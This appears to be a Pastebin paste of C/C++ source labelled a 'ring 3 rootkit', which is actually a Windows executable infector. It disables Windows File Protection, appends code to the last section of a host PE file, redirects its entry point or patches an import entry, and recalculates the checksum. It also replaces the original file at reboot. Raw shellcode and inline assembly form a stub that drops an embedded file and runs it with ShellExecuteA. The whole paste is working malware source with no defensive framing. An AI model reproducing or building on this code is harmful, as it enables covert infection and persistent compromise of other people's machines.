Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- c source of ring 3 ROOTKIT
- ===========================================
- #include "filemanagement.h"
- DWORD g_dwEIP;
- DWORD g_dwStubSize;
- bool PEFile::OpenPEFile(char* szFileName,
- bool isWFPDisableViaInject,
- char* szAPIname,
- char* szLIBname)
- {
- WFPManager WFPMan;
- m_szEPOAPIname = szAPIname;
- m_szEPOLIBname = szLIBname;
- m_szOriginalFile = szFileName;
- bool isProtected = false;
- if(WFPMan.SFCCheck(m_szOriginalFile)) {
- isProtected = true;
- if(isWFPDisableViaInject) {
- if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
- m_isImageOpen = true; //image is running or locked so make a copy and infect that
- } else m_isImageOpen = true; //quiet method must always work with a copy first
- } else {
- if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
- m_isImageOpen = true;
- }
- if(m_isImageOpen) {
- char szTempFileName [] = "fReplace.exe";
- GetTempPath(MAX_PATH, m_szTempFile);
- CopyFile(szFileName, strcat(m_szTempFile, szTempFileName),false);
- if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, m_szTempFile))
- return false;
- szFileName = m_szTempFile;
- }
- if(CheckFileAndGetHeaders()) {
- if(isProtected) {
- if(isWFPDisableViaInject) {
- if(!WFPMan.SFCDisableWatcherThreadTemp()) {//enable to use immediate WFP disabling for all files
- ClosePEFile();
- return false;
- }
- } else {
- if(!WFPMan.SFCDisableForFilePermanent(m_szOriginalFile)) {//quiet WFP disabling
- ClosePEFile();
- return false;
- }
- }
- return true;
- }
- return true;
- }
- return false; //was not a PE file.
- }
- bool PEFile::OpenFileAndMapIt(HANDLE &hFile, HANDLE &hMapping, LPVOID &lpBaseAddress, DWORD dwMapSize, char* szFileName)
- {
- if(szFileName != NULL) {
- hFile = CreateFile(szFileName,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,
- 0);
- if(hFile == INVALID_HANDLE_VALUE)
- return false;
- }
- hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwMapSize, NULL);
- if(!hMapping) {
- CloseHandle(hFile);
- return false;
- }
- lpBaseAddress = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwMapSize);
- if(!lpBaseAddress) {
- CloseHandle(hMapping);
- CloseHandle(hFile);
- return false;
- }
- return true;
- }
- bool PEFile::CheckFileAndGetHeaders()
- {
- try
- {
- m_pDOSheader = (IMAGE_DOS_HEADER*)m_lpBaseAddress;
- if(m_pDOSheader->e_magic != IMAGE_DOS_SIGNATURE) {
- ClosePEFile();
- return false;
- }
- m_pNTheaders = (IMAGE_NT_HEADERS*)(m_pDOSheader->e_lfanew + (DWORD)m_lpBaseAddress);
- if(m_pNTheaders->Signature != IMAGE_NT_SIGNATURE) {
- ClosePEFile();
- return false;
- }
- m_pSectionheader = (IMAGE_SECTION_HEADER*)(m_pDOSheader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
- + (DWORD)m_lpBaseAddress);
- return true;
- }
- catch(...)
- {
- return false;
- }
- }
- bool PEFile::ImplantToLastSection(DWORD dwSize, char* szCodeToImplant, char* szExeStub)
- {
- try
- {
- RemapFile(dwSize); //remap the file to implant to include either file or implant code size
- m_pSectionheader += (m_pNTheaders->FileHeader.NumberOfSections - 1); //start of last section
- m_pSectionheader->Characteristics |= 0xA0000020; //change section characteristics
- DWORD dwWriteAddr = (m_pSectionheader->PointerToRawData + m_pSectionheader->SizeOfRawData); //offset to write code in host
- DWORD dwAlignSize = ((dwSize - m_nFilePadding) + m_pSectionheader->SizeOfRawData);
- dwAlignSize += (m_pNTheaders->OptionalHeader.FileAlignment -
- (dwAlignSize % m_pNTheaders->OptionalHeader.FileAlignment)); //work out file alignment
- m_pSectionheader->SizeOfRawData = dwAlignSize;
- m_pSectionheader->Misc.VirtualSize = dwAlignSize;
- m_pNTheaders->OptionalHeader.SizeOfImage = m_pSectionheader->VirtualAddress + dwAlignSize;
- char* szWriteMap = (char*)(dwWriteAddr + (DWORD)m_lpBaseAddress); //make a ptr to write point in host file
- DWORD i;
- if(NULL != szExeStub) {
- for (i = 0; i < m_nStubLen; i++) szWriteMap[i] = szExeStub[i];
- for (DWORD j = m_nStubLen; j < (dwSize - m_nFilePadding) + m_nStubLen; j++)
- szWriteMap[j] = szCodeToImplant[j - m_nStubLen];
- }else {
- for (i = 0; i < dwSize; i++)
- szWriteMap[i] = szCodeToImplant[i];
- }
- CalculateNewChecksum();
- return true;
- }
- catch(...)
- {
- return false;
- }
- }
- bool PEFile::ImplantFile(char* szBindFileNameAndPath,
- char* szDroppedFileNameAndPath,
- bool isHardcodedDropStub,
- bool isRelocatable)
- {
- HANDLE hFileImplant;
- HANDLE hMappingImplant;
- LPVOID lpBaseAddressImplant;
- m_isRelocatable = isRelocatable;
- if(!OpenFileAndMapIt(hFileImplant, hMappingImplant, lpBaseAddressImplant, 0, szBindFileNameAndPath)) {
- m_isImageOpen = false;
- return false;
- }
- SaveEntryPoints();
- //select executing stub type for file implant
- m_szExeStub = (isHardcodedDropStub) ? (ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL),
- szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL),
- szDroppedFileNameAndPath));
- ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE),
- (char*) lpBaseAddressImplant,
- m_szExeStub);
- UnmapViewOfFile(lpBaseAddressImplant);
- CloseHandle(hMappingImplant);
- CloseHandle(hFileImplant);
- return true;
- }
- void PEFile::CalculateNewChecksum()
- {
- DWORD dwHeaderSum;
- DWORD dwCheckSum;
- m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress,
- GetFileSize(m_hFile, NULL),
- &dwHeaderSum,
- &dwCheckSum);
- if(dwHeaderSum) //save chksum only for files with existing chksum
- m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum;
- }
- void PEFile::ClosePEFile()
- {
- UnmapViewOfFile(m_lpBaseAddress);
- CloseHandle(m_hMapping);
- CloseHandle(m_hFile);
- if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now
- MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING);
- }
- char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath)
- //use when function addresses are not known for target at the time of execution
- {
- //this code can be found in the file dynastub.asm
- char szRawDynStub[] =
- "\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00"
- "\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30"
- "\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c"
- "\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40"
- "\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff"
- "\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11"
- "\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68"
- "\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0"
- "\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b"
- "\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff"
- "\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50"
- "\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff"
- "\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20"
- "\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08"
- "\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14"
- "\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42"
- "\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c"
- "\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83"
- "\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1"
- "\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00"
- "\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b"
- "\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec";
- int nStublen = sizeof(szRawDynStub) +
- strlen(szDroppedFileNameAndPath) +
- VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables
- DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen;
- char* szDynStub = new char[nStublen]; //add size of filename and path
- m_nStubLen = nStublen;
- int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath);
- szDynStub[nStublen - 1] = '';
- while (nStublen-- > nFileNamePos) //write in the filename
- szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos];
- DWORD dwExecInfo[4] =
- {
- {dwSize},
- {dwFileAddr},
- {m_dwOldEntryPoint},
- {m_dwIATaddress}
- }, *dwExec = dwExecInfo;
- for(int i = 4; i >= 0; i--, dwExec++) {
- *(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array
- nStublen -= DW_SIZE;
- }
- while(nStublen-- > PTR_OFFSET)
- szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code
- *(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
- return szDynStub;
- }
- char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code
- {
- //could be done with the INJDATA technique but I used some inline asm
- //In the end I decided to use masm as it was more flexible than the inline assembler
- //so with the dynamic code I just made it into shellcode instead and tacked on anything needing
- //to be initialized at run time at the end and front of the shellcode.
- HMODULE hShellLib;
- HMODULE hLib = LoadLibrary("kernel32");
- DWORD dwExecInfo[8] = //initialize an array of function addresses and other data needed by the stub
- {
- {dwSize},
- {(DWORD)GetProcAddress(hLib, "WriteFile")},
- {(DWORD)GetProcAddress(hLib, "CreateFileA")},
- {(DWORD)GetProcAddress(hLib, "CloseHandle")},
- {(DWORD)GetProcAddress((hShellLib = LoadLibrary("shell32.dll")), "ShellExecuteA")},
- {0}, //dwFileAddress here
- {m_dwOldEntryPoint}, //continue adddress for normal entry point
- {m_dwIATaddress} //epo address here
- }, *dwExec = dwExecInfo;
- FreeLibrary(hLib);
- FreeLibrary(hShellLib);
- __asm///
- {
- call GetBP
- //dword ptr to the asm code will be here
- start:
- pushad
- pushfd
- call getbp2
- getbp2:
- pop ebp
- sub ebp, offset getbp2
- mov [ebp + SaveESP], esp
- sub esp, 0x60
- cmp [ebp + IATcontinueaddr], 0
- je NormalExit
- mov eax, [ebp + IATcontinueaddr]
- push dword ptr[eax]
- jmp ShellExe
- NormalExit:
- push [ebp+jmpcontinueaddr]
- ShellExe:
- xor eax, eax
- push eax
- push eax
- inc eax
- inc eax
- push eax
- dec eax
- dec eax
- push eax
- inc eax
- push eax
- push 0xC0000000
- lea esi, [ebp + filename]
- push esi
- call dword ptr[ebp + aCreateFileA]
- push 0x0
- lea esi, [ebp + bytewbuf]
- push esi
- mov esi, [ebp + filesize]
- push esi
- mov esi, [ebp + filestartaddress]
- push esi
- push eax
- call dword ptr[ebp + aWriteFile]
- mov ebx, [esp - 0x14]
- push ebx
- call dword ptr[ebp + aCloseHandle]
- push SW_SHOWDEFAULT
- xor eax, eax
- push eax
- push eax
- lea ebx, [ebp + filename]
- push ebx
- push eax
- push eax
- call dword ptr[ebp + aShellExecuteA]
- // RestoreAndExit
- mov esp, [ebp + SaveESP]
- popfd
- popad
- jmp dword ptr[esp - 0x88]
- SaveESP:
- dd
- bytewbuf: //these labels are referenced in the code by the compiler
- dd //_emit 0x0...etc = DWORD
- filesize:
- dd
- aWriteFile:
- dd
- aCreateFileA:
- dd
- aCloseHandle:
- dd
- aShellExecuteA:
- dd
- filestartaddress:
- dd
- jmpcontinueaddr:
- dd
- IATcontinueaddr:
- dd
- filename:
- GetBP:
- pop eax
- mov g_dwEIP, eax
- mov eax, offset filename
- mov ecx, offset start
- sub eax, ecx
- mov g_dwStubSize, eax
- };
- g_dwStubSize += PTR_OFFSET; //add dword ptr address to front off code
- g_dwEIP -= PTR_OFFSET; //move eip to account for dword ptr
- int nStrl = g_dwStubSize + strlen(szDroppedFileNameAndPath) + 1;
- dwExec[5] = m_dwImplantEntryPoint + (DWORD)nStrl;
- char* pszStub = new char[nStrl];
- m_nStubLen = nStrl;
- while ((DWORD) nStrl-- > g_dwStubSize)
- pszStub[nStrl] = szDroppedFileNameAndPath[nStrl - g_dwStubSize];
- dwExec += EXINFO_SIZE;
- for(int i = EXINFO_SIZE; i >= 0; i--, dwExec--) {
- *(PDWORD)&pszStub[g_dwStubSize - DW_SIZE] = *dwExec;
- g_dwStubSize -= DW_SIZE;
- }
- while(g_dwStubSize-- > PTR_OFFSET)
- pszStub[g_dwStubSize] = ((char*)g_dwEIP)[g_dwStubSize];
- *(PDWORD)&pszStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
- return pszStub;
- }
- void PEFile::SaveEntryPoints() //for implant to last section only
- {
- try
- {
- m_dwImplantEntryPoint = (m_pSectionheader + (m_pNTheaders->FileHeader.NumberOfSections - 1))->VirtualAddress +
- (m_pSectionheader + m_pNTheaders->FileHeader.NumberOfSections - 1)->SizeOfRawData +
- m_pNTheaders->OptionalHeader.ImageBase;
- DWORD dwNewEntryPoint = m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase;
- m_dwOldEntryPoint = m_pNTheaders->OptionalHeader.AddressOfEntryPoint +
- m_pNTheaders->OptionalHeader.ImageBase;
- if(m_szEPOAPIname && m_szEPOLIBname != NULL) {
- EPOstart EPO;
- m_dwIATaddress = EPO.PatchDwordPtr(m_szEPOAPIname,
- m_szEPOLIBname,
- m_dwImplantEntryPoint,
- m_pDOSheader,
- m_pNTheaders,
- m_pSectionheader,
- m_isRelocatable);
- } else {
- m_pNTheaders->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint + PTR_OFFSET;
- }
- }
- catch(...)
- {
- return;
- }
- }
- bool PEFile::ImplantCode(char* szCodeToImplant, DWORD dwCodeSize, bool isRelocatable)
- {
- m_nFilePadding = PADDING_SIZE;
- m_isRelocatable = isRelocatable;
- SaveEntryPoints();
- //if implant is Ring0 EPO object returns a function hash not iataddress
- DWORD dwSelectedEP = (m_dwIATaddress) ? m_dwIATaddress : m_dwOldEntryPoint;
- *(PDWORD)&szCodeToImplant[0] = (m_dwImplantEntryPoint + PTR_OFFSET);
- for(int i = 4; i >= 0; --i, --dwCodeSize)
- szCodeToImplant[dwCodeSize - 1] = ((char*)&dwSelectedEP)[i];
- ImplantToLastSection(dwCodeSize + PADDING_SIZE, szCodeToImplant);
- if(m_isRelocatable) {
- m_pSectionheader->Characteristics |= IMAGE_SCN_MEM_NOT_PAGED; //don't let implant code get paged out leading to BSOD
- m_pSectionheader->Characteristics ^= IMAGE_SCN_MEM_DISCARDABLE; //don't discard our code either
- PIMAGE_BASE_RELOCATION pImageReloc =
- (PIMAGE_BASE_RELOCATION)(m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
- (DWORD) m_lpBaseAddress);
- PDWORD dwRelocEntryAddr = (PDWORD)((DWORD)pImageReloc +
- (DWORD)m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
- DWORD dwBaseRelIndex = (m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase) & 0xFFFFF000;
- *dwRelocEntryAddr++ = dwBaseRelIndex;
- WORD wReloc = (WORD)((m_dwImplantEntryPoint &= 0x0FFF) |= (IMAGE_REL_BASED_HIGHLOW << 0xC)); //make value for base reloc entry
- *dwRelocEntryAddr++ = 0xA;
- *(WORD*)&dwRelocEntryAddr[0] = wReloc;
- m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += 0xA; //add base reloc fixup for our ptr to implant
- CalculateNewChecksum();
- }
- return true;
- }
- bool PEFile::RemapFile(DWORD dwNewMapSize)
- {
- UnmapViewOfFile(m_lpBaseAddress);
- CloseHandle(m_hMapping);
- if (!OpenFileAndMapIt(m_hFile,
- m_hMapping,
- m_lpBaseAddress,
- (GetFileSize(m_hFile, NULL) + dwNewMapSize))) //map file plus code need to make generic code
- return false;
- if (!CheckFileAndGetHeaders()) //sanity check-make sure everything is correct after remapping
- return false;
- return true;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement